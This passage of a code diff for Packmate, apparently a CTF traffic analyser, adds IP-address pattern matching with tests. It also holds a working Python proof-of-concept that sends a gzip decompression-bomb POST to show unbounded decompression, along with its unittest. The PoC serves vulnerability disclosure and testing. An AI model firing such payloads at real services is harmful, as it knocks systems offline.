compressor = zlib.compressobj(level=9, wbits=16 + zlib.MAX_WBITS)
|
||||
compressed_parts: list[bytes] = []
|
||||
full_chunk = bytes([fill_byte]) * CHUNK_SIZE
|
||||
remaining = decoded_size
|
||||
|
||||
while remaining:
|
||||
current_size = min(remaining, CHUNK_SIZE)
|
||||
compressed_parts.append(compressor.compress(full_chunk[:current_size]))
|
||||
remaining -= current_size
|
||||
|
||||
compressed_parts.append(compressor.flush())
|
||||
return b"".join(compressed_parts)
|
||||
|
||||
|
||||
def build_request(host_header: str, path: str, decoded_size: int) -> tuple[bytes, int]:
|
||||
body = gzip_repeated_bytes(decoded_size)
|
||||
headers = (
|
||||
f"POST {path} HTTP/1.1\r\n"
|
||||
f"Host: {host_header}\r\n"
|
||||
"Content-Type: application/octet-stream\r\n"
|
||||
"Content-Encoding: gzip\r\n"
|
||||
f"Content-Length: {len(body)}\r\n"
|
||||
f"X-Packmate-Decoded-Bytes: {decoded_size}\r\n"
|
||||
"Connection: close\r\n"
|
||||
"\r\n"
|
||||
).encode("ascii")
|
||||
return headers + body, len(body)
|
||||
|
||||
|
||||
def send_request(host: str, port: int, request: bytes, timeout: float) -> None:
|
||||
with socket.create_connection((host, port), timeout=timeout) as connection:
|
||||
connection.settimeout(timeout)
|
||||
connection.sendall(request)
|
||||
connection.shutdown(socket.SHUT_WR)
|
||||
|
||||
|
||||
def parser() -> argparse.ArgumentParser:
|
||||
result = argparse.ArgumentParser(
|
||||
description=(
|
||||
"Send a gzip HTTP POST to demonstrate Packmate's unbounded HTTP "
|
||||
"decompression. Use only against a listener you control."
|
||||
)
|
||||
)
|
||||
result.add_argument("--host", default="127.0.0.1", help="target host (default: loopback)")
|
||||
result.add_argument("--port", required=True, type=int, help="target TCP port")
|
||||
result.add_argument(
|
||||
"--decompressed-bytes",
|
||||
type=byte_count,
|
||||
default=DEFAULT_DECOMPRESSED_BYTES,
|
||||
help="decoded body size, e.g. 104857600 or 100MiB (default: 8MiB)",
|
||||
)
|
||||
result.add_argument("--path", default="/packmate-gzip-poc", help="HTTP request path")
|
||||
result.add_argument("--timeout", default=10.0, type=float, help="connect/send timeout in seconds")
|
||||
return result
|
||||
|
||||
|
||||
def main() -> int:
|
||||
args = parser().parse_args()
|
||||
if not 1 <= args.port <= 65535:
|
||||
print("error: port must be between 1 and 65535", file=sys.stderr)
|
||||
return 2
|
||||
if not args.path.startswith("/"):
|
||||
print("error: path must start with '/'", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
request, compressed_size = build_request(
|
||||
f"{args.host}:{args.port}", args.path, args.decompressed_bytes
|
||||
)
|
||||
ratio = args.decompressed_bytes / compressed_size
|
||||
|
||||
print(f"Target: {args.host}:{args.port}")
|
||||
print(f"Compressed body: {compressed_size:,} bytes")
|
||||
print(f"Decoded body: {args.decompressed_bytes:,} bytes")
|
||||
print(f"Expansion ratio: {ratio:,.1f}x")
|
||||
print(f"TCP bytes to send: {len(request):,} bytes")
|
||||
|
||||
try:
|
||||
send_request(args.host, args.port, request, args.timeout)
|
||||
except OSError as exc:
|
||||
print(f"send failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
print("Request sent. Wait for the stream to close or for Packmate's timeout.")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
60
poc/test_http_gzip_expansion.py
Normal file
60
poc/test_http_gzip_expansion.py
Normal file
@ -0,0 +1,60 @@
|
||||
import gzip
|
||||
import importlib.util
|
||||
from pathlib import Path
|
||||
import socket
|
||||
import threading
|
||||
import unittest
|
||||
|
||||
|
||||
SCRIPT_PATH = Path(__file__).with_name("http_gzip_expansion.py")
|
||||
SPEC = importlib.util.spec_from_file_location("http_gzip_expansion", SCRIPT_PATH)
|
||||
POC = importlib.util.module_from_spec(SPEC)
|
||||
assert SPEC.loader is not None
|
||||
SPEC.loader.exec_module(POC)
|
||||
|
||||
|
||||
class HttpGzipExpansionTest(unittest.TestCase):
|
||||
def test_configured_decoded_size(self):
|
||||
request, compressed_size = POC.build_request("localhost:8080", "/test", 3_500_123)
|
||||
headers, compressed = request.split(b"\r\n\r\n", 1)
|
||||
|
||||
self.assertEqual(compressed_size, len(compressed))
|
||||
self.assertIn(f"Content-Length: {len(compressed)}".encode(), headers)
|
||||
self.assertIn(b"X-Packmate-Decoded-Bytes: 3500123", headers)
|
||||
self.assertEqual(3_500_123, len(gzip.decompress(compressed)))
|
||||
|
||||
def test_suffixes(self):
|
||||
self.assertEqual(100 * 1024**2, POC.byte_count("100MiB"))
|
||||
self.assertEqual(10_000_000, POC.byte_count("10MB"))
|
||||
self.assertEqual(4096, POC.byte_count("4096"))
|
||||
|
||||
def test_sends_complete_request_to_tcp_listener(self):
|
||||
received = bytearray()
|
||||
ready = threading.Event()
|
||||
address = []
|
||||
|
||||
def server():
|
||||
with socket.socket() as listener:
|
||||
listener.bind(("127.0.0.1", 0))
|
||||
listener.listen(1)
|
||||
address.append(listener.getsockname())
|
||||
ready.set()
|
||||
connection, _ = listener.accept()
|
||||
with connection:
|
||||
while chunk := connection.recv(65536):
|
||||
received.extend(chunk)
|
||||
|
||||
thread = threading.Thread(target=server, daemon=True)
|
||||
thread.start()
|
||||
self.assertTrue(ready.wait(2))
|
||||
|
||||
request, _ = POC.build_request("localhost", "/test", 2 * 1024**2)
|
||||
POC.send_request(address[0][0], address[0][1], request, 2)
|
||||
thread.join(2)
|
||||
|
||||
self.assertFalse(thread.is_alive())
|
||||
self.assertEqual(request, bytes(received))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@ -4,6 +4,7 @@ import lombok.*;
|
||||
import org.hibernate.Hibernate;
|
||||
import org.hibernate.annotations.GenericGenerator;
|
||||
import org.hibernate.annotations.Parameter;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||
|
||||
import jakarta.persistence.*;
|
||||
import java.util.Objects;
|
||||
@ -38,6 +39,13 @@ public class FoundPattern {
|
||||
|
||||
private int patternId;
|
||||
|
||||
@Enumerated(EnumType.STRING)
|
||||
private PatternSearchTarget searchTarget;
|
||||
|
||||
public PatternSearchTarget getSearchTarget() {
|
||||
return searchTarget == null ? PatternSearchTarget.CONTENT : searchTarget;
|
||||
}
|
||||
|
||||
private int startPosition;
|
||||
|
||||
private int endPosition;
|
||||
|
||||
@ -47,6 +47,10 @@ public class Packet {
|
||||
|
||||
private long timestamp;
|
||||
|
||||
private String sourceIp;
|
||||
|
||||
private String destinationIp;
|
||||
|
||||
private boolean incoming; // true если от клиента к серверу, иначе false
|
||||
|
||||
private boolean httpProcessed = false;
|
||||
|
||||
@ -3,6 +3,7 @@ package ru.serega6531.packmate.model;
|
||||
import jakarta.persistence.Column;
|
||||
import jakarta.persistence.Entity;
|
||||
import jakarta.persistence.Enumerated;
|
||||
import jakarta.persistence.EnumType;
|
||||
import jakarta.persistence.GeneratedValue;
|
||||
import jakarta.persistence.Id;
|
||||
import lombok.Getter;
|
||||
@ -15,6 +16,7 @@ import org.hibernate.annotations.Parameter;
|
||||
import ru.serega6531.packmate.model.enums.PatternActionType;
|
||||
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
@ -57,6 +59,13 @@ public class Pattern {
|
||||
@Column(nullable = false)
|
||||
private PatternSearchType searchType;
|
||||
|
||||
@Enumerated(EnumType.STRING)
|
||||
private PatternSearchTarget searchTarget = PatternSearchTarget.CONTENT;
|
||||
|
||||
public PatternSearchTarget getSearchTarget() {
|
||||
return searchTarget == null ? PatternSearchTarget.CONTENT : searchTarget;
|
||||
}
|
||||
|
||||
@Enumerated
|
||||
@Column(nullable = false)
|
||||
private PatternDirectionType directionType;
|
||||
|
||||
@ -0,0 +1,5 @@
|
||||
package ru.serega6531.packmate.model.enums;
|
||||
|
||||
public enum PatternSearchTarget {
|
||||
CONTENT, SOURCE_IP, DESTINATION_IP, EITHER_IP
|
||||
}
|
||||
@ -1,11 +1,13 @@
|
||||
package ru.serega6531.packmate.model.pojo;
|
||||
|
||||
import lombok.Data;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||
|
||||
@Data
|
||||
public class FoundPatternDto {
|
||||
|
||||
private int patternId;
|
||||
private PatternSearchTarget searchTarget;
|
||||
private int startPosition;
|
||||
private int endPosition;
|
||||
|
||||
|
||||
@ -10,6 +10,8 @@ public class PacketDto {
|
||||
private Long id;
|
||||
private Set<FoundPatternDto> matches;
|
||||
private long timestamp;
|
||||
private String sourceIp;
|
||||
private String destinationIp;
|
||||
private boolean incoming;
|
||||
private boolean ungzipped;
|
||||
private boolean webSocketParsed;
|
||||
|
||||
@ -4,6 +4,7 @@ import lombok.Data;
|
||||
import ru.serega6531.packmate.model.enums.PatternActionType;
|
||||
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||
|
||||
@Data
|
||||
public class PatternCreateDto {
|
||||
@ -12,6 +13,7 @@ public class PatternCreateDto {
|
||||
private String value;
|
||||
private String color;
|
||||
private PatternSearchType searchType;
|
||||
private PatternSearchTarget searchTarget = PatternSearchTarget.CONTENT;
|
||||
private PatternDirectionType directionType;
|
||||
private PatternActionType actionType;
|
||||
private Integer serviceId;
|
||||
|
||||
@ -4,6 +4,7 @@ import lombok.Data;
|
||||
import ru.serega6531.packmate.model.enums.PatternActionType;
|
||||
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||
|
||||
@Data
|
||||
public class PatternDto {
|
||||
@ -15,6 +16,7 @@ public class PatternDto {
|
||||
private String value;
|
||||
private String color;
|
||||
private PatternSearchType searchType;
|
||||
private PatternSearchTarget searchTarget;
|
||||
private PatternDirectionType directionType;
|
||||
private PatternActionType actionType;
|
||||
private Integer serviceId;
|
||||
|
||||
@ -165,6 +165,8 @@ public abstract class AbstractPcapWorker implements PcapWorker, PacketListener {
|
||||
.tempId(packetIdCounter++)
|
||||
.ttl(ttl)
|
||||
.timestamp(time)
|
||||
.sourceIp(sourceIp.getHostAddress())
|
||||
.destinationIp(destIp.getHostAddress())
|
||||
.incoming(incoming)
|
||||
.content(content)
|
||||
.build();
|
||||
|
||||
@ -4,6 +4,9 @@ import lombok.SneakyThrows;
|
||||
import org.springframework.security.crypto.codec.Hex;
|
||||
import ru.serega6531.packmate.model.FoundPattern;
|
||||
import ru.serega6531.packmate.model.Pattern;
|
||||
import ru.serega6531.packmate.model.Packet;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
|
||||
import ru.serega6531.packmate.model.enums.PatternSearchType;
|
||||
import ru.serega6531.packmate.utils.KMPByteSearcher;
|
||||
import ru.serega6531.packmate.utils.KMPStringSearcher;
|
||||
|
||||
@ -22,13 +25,25 @@ public class PatternMatcher {
|
||||
private final byte[] contentBytes;
|
||||
private final String content;
|
||||
private final List<Pattern> patterns;
|
||||
private final String sourceIp;
|
||||
private final String destinationIp;
|
||||
|
||||
private final Set<FoundPattern> result = new HashSet<>();
|
||||
|
||||
public PatternMatcher(byte[] contentBytes, List<Pattern> patterns) {
|
||||
this(contentBytes, null, null, patterns);
|
||||
}
|
||||
|
||||
public PatternMatcher(Packet packet, List<Pattern> patterns) {
|
||||
this(packet.getContent(), packet.getSourceIp(), packet.getDestinationIp(), patterns);
|
||||
}
|
||||
|
||||
private PatternMatcher(byte[] contentBytes, String sourceIp, String destinationIp, List<Pattern> patterns) {
|
||||
this.contentBytes = contentBytes;
|
||||
this.content = new String(contentBytes);
|
||||
this.patterns = patterns;
|
||||
this.sourceIp = sourceIp;
|
||||
this.destinationIp = destinationIp;
|
||||
}
|
||||
|
||||
public Set<FoundPattern> findMatches() {
|
||||
@ -37,6 +52,10 @@ public class PatternMatcher {
|
||||
}
|
||||
|
||||
private void match(Pattern pattern) {
|
||||
if (pattern.getSearchTarget() != PatternSearchTarget.CONTENT) {
|
||||
matchIpAddresses(pattern);
|
||||
return;
|
||||
}
|
||||
switch (pattern.getSearchType()) {
|
||||
case REGEX -> matchRegex(pattern);
|
||||
case SUBSTRING -> matchSubstring(pattern);
|
||||
@ -44,6 +63,34 @@ public class PatternMatcher {
|
||||
}
|
||||
}
|
||||
|
||||
private void matchIpAddresses(Pattern pattern) {
|
||||
requireIpRegex(pattern);
|
||||
if (pattern.getSearchTarget() != PatternSearchTarget.DESTINATION_IP) {
|
||||
matchIp(pattern, sourceIp, PatternSearchTarget.SOURCE_IP);
|
||||
}
|
||||
if (pattern.getSearchTarget() != PatternSearchTarget.SOURCE_IP) {
|
||||
matchIp(pattern, destinationIp, PatternSearchTarget.DESTINATION_IP);
|
||||
}
|
||||
}
|
||||
|
||||
private void matchIp(Pattern pattern, String address, PatternSearchTarget target) {
|
||||
if (address != null && !address.isEmpty() && compileRegex(pattern).matcher(address).find()) {
|
||||
// An address match marks the endpoint, never a range in the payload.
|
||||
result.add(FoundPattern.builder()
|
||||
.patternId(pattern.getId())
|
||||
.searchTarget(target)
|
||||
.startPosition(0)
|
||||
.endPosition(address.length() - 1)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
|
||||
private static void requireIpRegex(Pattern pattern) {
|
||||
if (pattern.getSearchTarget() != PatternSearchTarget.CONTENT && pattern.getSearchType() != PatternSearchType.REGEX) {
|
||||
throw new IllegalArgumentException("IP address patterns must use regular expressions");
|
||||
}
|
||||
}
|
||||
|
||||
private void matchRegex(Pattern pattern) {
|
||||
final var regex = compileRegex(pattern);
|
||||
final Matcher matcher = regex.matcher(content);
|
||||
@ -105,7 +152,7 @@ public class PatternMatcher {
|
||||
}
|
||||
|
||||
private void addIfPossible(FoundPattern found) {
|
||||
if (result.stream().noneMatch(match ->
|
||||
if (result.stream().filter(match -> match.getSearchTarget() == found.getSearchTarget()).noneMatch(match ->
|
||||
between(match.getStartPosition(), match.getEndPosition(), found.getStartPosition()) ||
|
||||
between(match.getStartPosition(), match.getEndPosition(), found.getEndPosition()))) {
|
||||
result.add(found);
|
||||
@ -117,6 +164,7 @@ public class PatternMatcher {
|
||||
}
|
||||
|
||||
static void compilePattern(Pattern pattern) {
|
||||
requireIpRegex(pattern);
|
||||
switch (pattern.getSearchType()) {
|
||||
case REGEX -> compileRegex(pattern);
|
||||
case SUBSTRING -> compileStringKMP(pattern);
|
||||
|
||||
@ -10,6 +10,7 @@ import org.springframework.transaction.annotation.Transactional;
|
||||
import ru.serega6531.packmate.model.CtfService;
|
||||
import ru.serega6531.packmate.model.FoundPattern;
|
||||
import ru.serega6531.packmate.model.Pattern;
|
||||
import ru.serega6531.packmate.model.Packet;
|
||||
import ru.serega6531.packmate.model.enums.PatternActionType;
|
||||
import ru.serega6531.packmate.model.enums.PatternDirectionType;
|
||||
import ru.serega6531.packmate.model.enums.SubscriptionMessageType;
|
||||
@ -63,18 +64,18 @@ public class PatternService {
|
||||
return patterns.values();
|
||||
}
|
||||
|
||||
public Set<FoundPattern> findMatches(byte[] bytes, CtfService service, PatternDirectionType directionType, PatternActionType actionType) {
|
||||
public Set<FoundPattern> findMatches(Packet packet, CtfService service, PatternDirectionType directionType, PatternActionType actionType) {
|
||||
final List<Pattern> list = patterns.values().stream()
|
||||
.filter(pattern -> pattern.isEnabled() && !pattern.isDeleted())
|
||||
.filter(p -> p.getServiceId() == null || p.getServiceId().equals(service.getPort()))
|
||||
.filter(p -> p.getActionType() == actionType)
|
||||
.filter(p -> p.getDirectionType() == directionType || p.getDirectionType() == PatternDirectionType.BOTH)
|
||||
.toList();
|
||||
return new PatternMatcher(bytes, list).findMatches();
|
||||
return new PatternMatcher(packet, list).findMatches();
|
||||
}
|
||||
|
||||
public Set<FoundPattern> matchOne(byte[] bytes, Pattern pattern) {
|
||||
return new PatternMatcher(bytes, List.of(pattern)).findMatches();
|
||||
public Set<FoundPattern> matchOne(Packet packet, Pattern pattern) {
|
||||
return new PatternMatcher(packet, List.of(pattern)).findMatches();
|
||||
}
|
||||
|
||||
public void enable(int id, boolean enabled) {
|
||||
|
||||
@ -193,7 +193,7 @@ public class StreamService {
|
||||
|
||||
for (Packet packet : packets) {
|
||||
PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT;
|
||||
final Set<FoundPattern> matches = patternService.findMatches(packet.getContent(), service,
|
||||
final Set<FoundPattern> matches = patternService.findMatches(packet, service,
|
||||
direction, PatternActionType.FIND);
|
||||
|
||||
packet.setMatches(matches);
|
||||
@ -218,7 +218,7 @@ public class StreamService {
|
||||
continue;
|
||||
}
|
||||
|
||||
final Set<FoundPattern> matches = patternService.matchOne(packet.getContent(), pattern);
|
||||
final Set<FoundPattern> matches = patternService.matchOne(packet, pattern);
|
||||
|
||||
if (!matches.isEmpty()) {
|
||||
packet.getMatches().addAll(matches);
|
||||
@ -234,7 +234,7 @@ public class StreamService {
|
||||
private boolean isStreamIgnored(List<Packet> packets, CtfService service) {
|
||||
for (Packet packet : packets) {
|
||||
PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT;
|
||||
final Set<FoundPattern> matches = patternService.findMatches(packet.getContent(), service,
|
||||
final Set<FoundPattern> matches = patternService.findMatches(packet, service,
|
||||
direction, PatternActionType.IGNORE);
|
||||
if (!matches.isEmpty()) {
|
||||
return true;
|
||||
|
||||
@ -47,11 +47,15 @@ public class PacketsMerger {
|
||||
final boolean webSocketParsed = cut.stream().anyMatch(Packet::isWebSocketParsed);
|
||||
final boolean tlsDecrypted = cut.get(0).isTlsDecrypted();
|
||||
final boolean incoming = cut.get(0).isIncoming();
|
||||
final String sourceIp = cut.get(0).getSourceIp();
|
||||
final String destinationIp = cut.get(0).getDestinationIp();
|
||||
final byte[] content = PacketUtils.mergePackets(cut);
|
||||
|
||||
packets.removeAll(cut);
|
||||
packets.add(start, Packet.builder()
|
||||
.incoming(incoming)
|
||||
.sourceIp(sourceIp)
|
||||
.destinationIp(destinationIp)
|
||||
.timestamp(timestamp)
|
||||
.httpProcessed(httpProcessed)
|
||||
.webSocketParsed(webSocketParsed)
|
||||
|
||||
@ -0,0 +1,55 @@
|
||||
package ru.serega6531.packmate;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.CsvSource;
|
||||
import ru.serega6531.packmate.configuration.ApplicationConfiguration;
|
||||
import ru.serega6531.packmate.model.Packet;
|
||||
import ru.serega6531.packmate.model.pojo.PacketDto;
|
||||
import ru.serega6531.packmate.service.optimization.PacketsMerger;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
class PacketAddressesTest {
|
||||
|
||||
@ParameterizedTest
|
||||
@CsvSource({
|
||||
"192.0.2.1, 192.0.2.2, true",
|
||||
"192.0.2.2, 192.0.2.1, false",
|
||||
"2001:db8::1, 2001:db8::2, true",
|
||||
"2001:db8::2, 2001:db8::1, false"
|
||||
})
|
||||
void addressesSurviveMergingAndDtoMapping(String source, String destination, boolean incoming) {
|
||||
Packet first = Packet.builder()
|
||||
.sourceIp(source)
|
||||
.destinationIp(destination)
|
||||
.incoming(incoming)
|
||||
.content(new byte[] {1})
|
||||
.build();
|
||||
Packet second = first.toBuilder().content(new byte[] {2}).build();
|
||||
List<Packet> packets = new ArrayList<>(List.of(first, second));
|
||||
|
||||
new PacketsMerger().mergeAdjacentPackets(packets);
|
||||
|
||||
assertEquals(1, packets.size());
|
||||
PacketDto dto = new ApplicationConfiguration().modelMapper().map(packets.get(0), PacketDto.class);
|
||||
assertEquals(source, dto.getSourceIp());
|
||||
assertEquals(destination, dto.getDestinationIp());
|
||||
assertEquals(incoming, dto.isIncoming());
|
||||
assertArrayEquals(new byte[] {1, 2}, dto.getContent());
|
||||
}
|
||||
|
||||
@Test
|
||||
void legacyPacketsWithoutAddressesStillMap() {
|
||||
Packet packet = Packet.builder().content(new byte[] {1}).build();
|
||||
|
||||
PacketDto dto = new ApplicationConfiguration().modelMapper().map(packet, PacketDto.class);
|
||||
|
||||
assertNull(dto.getSourceIp());
|
||||
assertNull(dto.getDestinationIp());
|
||||
assertArrayEquals(packet.getContent(), dto.getContent());
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,182 @@
|
||||
package ru.serega6531.packmate.service;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.EnumSource;
|
||||
import ru.serega6531.packmate.configuration.ApplicationConfiguration;
|
||||
import ru.serega6531.packmate.model.CtfService;
|
||||
import ru.serega6531.packmate.model.FoundPattern;
|
||||
import ru.serega6531.packmate.model.Packet;
|
||||
import ru.serega6531.packmate.model.Pattern;
|
||||
import ru.serega6531.packmate.model.enums.*;
|
||||
import ru.serega6531.packmate.model.pojo.FoundPatternDto;
|
||||
import ru.serega6531.packmate.model.pojo.PatternCreateDto;
|
||||
import ru.serega6531.packmate.model.pojo.PatternDto;
|
||||
import ru.serega6531.packmate.repository.PatternRepository;
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.time.Duration;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.regex.PatternSyntaxException;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
class IpPatternMatcherTest {
|
||||
|
||||
private Packet packet(String source, String destination, String content) {
|
||||
return Packet.builder().sourceIp(source).destinationIp(destination)
|
||||
.content(content.getBytes(StandardCharsets.UTF_8)).build();
|
||||
}
|
||||
|
||||
private Pattern pattern(int id, PatternSearchTarget target, String regex) {
|
||||
Pattern pattern = new Pattern();
|
||||
pattern.setId(id);
|
||||
pattern.setSearchType(PatternSearchType.REGEX);
|
||||
pattern.setSearchTarget(target);
|
||||
pattern.setValue(regex);
|
||||
pattern.setEnabled(true);
|
||||
pattern.setActionType(PatternActionType.FIND);
|
||||
pattern.setDirectionType(PatternDirectionType.BOTH);
|
||||
return pattern;
|
||||
}
|
||||
|
||||
@Test
|
||||
void sourceAndDestinationAreMatchedIndependentlyFromPayload() {
|
||||
Packet packet = packet("10.20.30.4", "192.0.2.8", "192.0.2.99");
|
||||
List<Pattern> patterns = List.of(
|
||||
pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.20\\.30\\.[0-9]+$"),
|
||||
pattern(2, PatternSearchTarget.DESTINATION_IP, "^192\\.0\\.2\\.8$"),
|
||||
pattern(3, PatternSearchTarget.SOURCE_IP, "192\\.0\\.2"),
|
||||
pattern(4, PatternSearchTarget.DESTINATION_IP, "^10\\."),
|
||||
pattern(5, PatternSearchTarget.EITHER_IP, "192\\.0\\.2\\.99"));
|
||||
|
||||
Set<FoundPattern> matches = new PatternMatcher(packet, patterns).findMatches();
|
||||
|
||||
assertEquals(2, matches.size());
|
||||
assertTrue(matches.stream().anyMatch(m -> m.getPatternId() == 1 && m.getSearchTarget() == PatternSearchTarget.SOURCE_IP));
|
||||
assertTrue(matches.stream().anyMatch(m -> m.getPatternId() == 2 && m.getSearchTarget() == PatternSearchTarget.DESTINATION_IP));
|
||||
}
|
||||
|
||||
@Test
|
||||
void eitherIpHandlesIpv6AndKeepsMatchesForBothEndpoints() {
|
||||
Packet packet = packet("2001:db8:0:0:0:0:0:1", "2001:db8:0:0:0:0:0:2", "body");
|
||||
Set<FoundPattern> matches = new PatternMatcher(packet,
|
||||
List.of(pattern(1, PatternSearchTarget.EITHER_IP, "(?i)^2001:DB8:"))).findMatches();
|
||||
|
||||
assertEquals(Set.of(PatternSearchTarget.SOURCE_IP, PatternSearchTarget.DESTINATION_IP),
|
||||
matches.stream().map(FoundPattern::getSearchTarget).collect(java.util.stream.Collectors.toSet()));
|
||||
}
|
||||
|
||||
@Test
|
||||
void legacyPacketsWithoutAddressesDoNotMatchEvenWildcard() {
|
||||
assertTrue(new PatternMatcher(packet(null, null, "10.20.30.4"),
|
||||
List.of(pattern(1, PatternSearchTarget.EITHER_IP, ".*"))).findMatches().isEmpty());
|
||||
}
|
||||
|
||||
@Test
|
||||
void missingEndpointDoesNotPreventMatchingPresentEndpoint() {
|
||||
Set<FoundPattern> matches = new PatternMatcher(packet(null, "192.0.2.8", "body"),
|
||||
List.of(pattern(1, PatternSearchTarget.EITHER_IP, "^192\\."))).findMatches();
|
||||
assertEquals(1, matches.size());
|
||||
assertEquals(PatternSearchTarget.DESTINATION_IP, matches.iterator().next().getSearchTarget());
|
||||
}
|
||||
|
||||
@Test
|
||||
void addressAndContentMatchesDoNotSuppressEachOther() {
|
||||
Packet packet = packet("10.20.30.4", "192.0.2.8", "FLAG");
|
||||
Pattern address = pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.");
|
||||
Pattern content = pattern(2, PatternSearchTarget.CONTENT, "FLAG");
|
||||
|
||||
for (List<Pattern> order : List.of(List.of(address, content), List.of(content, address))) {
|
||||
Set<FoundPattern> matches = new PatternMatcher(packet, order).findMatches();
|
||||
assertEquals(2, matches.size());
|
||||
assertTrue(matches.stream().anyMatch(m -> m.getSearchTarget() == PatternSearchTarget.CONTENT && m.getEndPosition() == 3));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void emptyRegexMatchOnIpTerminatesAndMarksAddress() {
|
||||
assertTimeoutPreemptively(Duration.ofSeconds(1), () -> {
|
||||
Set<FoundPattern> matches = new PatternMatcher(packet("10.20.30.4", null, "body"),
|
||||
List.of(pattern(1, PatternSearchTarget.SOURCE_IP, "^"))).findMatches();
|
||||
assertEquals(1, matches.size());
|
||||
});
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@EnumSource(value = PatternSearchType.class, names = {"SUBSTRING", "SUBBYTES"})
|
||||
void nonRegexIpPatternsAreRejected(PatternSearchType searchType) {
|
||||
Pattern pattern = pattern(1, PatternSearchTarget.EITHER_IP, "10");
|
||||
pattern.setSearchType(searchType);
|
||||
assertThrows(IllegalArgumentException.class, () -> PatternMatcher.compilePattern(pattern));
|
||||
}
|
||||
|
||||
@Test
|
||||
void invalidIpRegexIsRejectedBeforeSaving() {
|
||||
assertThrows(PatternSyntaxException.class,
|
||||
() -> PatternMatcher.compilePattern(pattern(1, PatternSearchTarget.EITHER_IP, "[")));
|
||||
}
|
||||
|
||||
@Test
|
||||
void targetsRoundTripThroughDtosAndLegacyNullMeansContent() {
|
||||
var mapper = new ApplicationConfiguration().modelMapper();
|
||||
var dto = new PatternCreateDto();
|
||||
assertEquals(PatternSearchTarget.CONTENT, mapper.map(dto, Pattern.class).getSearchTarget());
|
||||
dto.setSearchTarget(PatternSearchTarget.EITHER_IP);
|
||||
Pattern pattern = mapper.map(dto, Pattern.class);
|
||||
pattern.setId(1);
|
||||
assertEquals(PatternSearchTarget.EITHER_IP, mapper.map(pattern, PatternDto.class).getSearchTarget());
|
||||
pattern.setSearchTarget(null);
|
||||
assertEquals(PatternSearchTarget.CONTENT, mapper.map(pattern, PatternDto.class).getSearchTarget());
|
||||
FoundPattern found = FoundPattern.builder().searchTarget(PatternSearchTarget.SOURCE_IP).build();
|
||||
assertEquals(PatternSearchTarget.SOURCE_IP, mapper.map(found, FoundPatternDto.class).getSearchTarget());
|
||||
assertEquals(PatternSearchTarget.CONTENT, mapper.map(FoundPattern.builder().build(), FoundPatternDto.class).getSearchTarget());
|
||||
}
|
||||
|
||||
@Test
|
||||
void existingContentPatternsDoNotStartMatchingAddressMetadata() {
|
||||
Pattern pattern = pattern(1, null, "10\\.20\\.30\\.4");
|
||||
assertTrue(new PatternMatcher(packet("10.20.30.4", "192.0.2.8", "body"), List.of(pattern)).findMatches().isEmpty());
|
||||
}
|
||||
|
||||
@Test
|
||||
void liveFindIgnoreDirectionAndServiceFiltersReceiveAddresses() {
|
||||
Pattern find = pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.");
|
||||
find.setServiceId(80);
|
||||
find.setDirectionType(PatternDirectionType.INPUT);
|
||||
Pattern ignore = pattern(2, PatternSearchTarget.EITHER_IP, "^192\\.");
|
||||
ignore.setActionType(PatternActionType.IGNORE);
|
||||
Pattern disabled = pattern(3, PatternSearchTarget.EITHER_IP, ".*");
|
||||
disabled.setEnabled(false);
|
||||
Pattern deleted = pattern(4, PatternSearchTarget.EITHER_IP, ".*");
|
||||
deleted.setDeleted(true);
|
||||
PatternService service = service(List.of(find, ignore, disabled, deleted));
|
||||
CtfService http = new CtfService();
|
||||
http.setPort(80);
|
||||
Packet packet = packet("10.20.30.4", "192.0.2.8", "body");
|
||||
|
||||
var found = service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.FIND);
|
||||
assertEquals(1, found.size());
|
||||
assertEquals(1, found.iterator().next().getPatternId());
|
||||
assertTrue(service.findMatches(packet, http, PatternDirectionType.OUTPUT, PatternActionType.FIND).isEmpty());
|
||||
assertEquals(2, service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.IGNORE)
|
||||
.iterator().next().getPatternId());
|
||||
http.setPort(443);
|
||||
assertTrue(service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.FIND).isEmpty());
|
||||
assertEquals(1, service.matchOne(packet, find).size());
|
||||
}
|
||||
|
||||
private PatternService service(List<Pattern> patterns) {
|
||||
